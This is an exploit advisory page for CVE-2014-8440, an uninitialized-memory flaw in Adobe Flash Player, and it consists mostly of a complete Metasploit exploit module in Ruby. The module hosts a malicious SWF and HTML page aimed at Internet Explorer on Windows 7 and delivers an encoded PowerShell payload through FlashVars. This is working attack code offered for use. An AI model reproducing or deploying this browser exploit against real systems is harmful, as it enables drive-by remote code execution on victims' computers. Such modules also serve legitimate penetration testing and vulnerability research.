Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory 2015.05.01 Credit: Juan vazquez Risk: High Local: No Remote: Yes CVE: CVE-2014-8440 CWE: CWE-noinfo

CVSS Base Score: 10/10 Impact Subscore: 10/10 Exploitability Subscore: 10/10 Exploit range: Remote Attack complexity: Low Authentication: No required Confidentiality impact: Complete Integrity impact: Complete Availability impact: Complete ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory', 'Description' => %q{ This module exploits an unintialized memory vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails to initialize allocated memory. When using a correct memory layout this vulnerability leads to a ByteArray object corruption, which can be abused to access and corrupt memory. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 15.0.0.189. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2014-8440'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'], ['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'], ['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 11 2014', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end References: http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081



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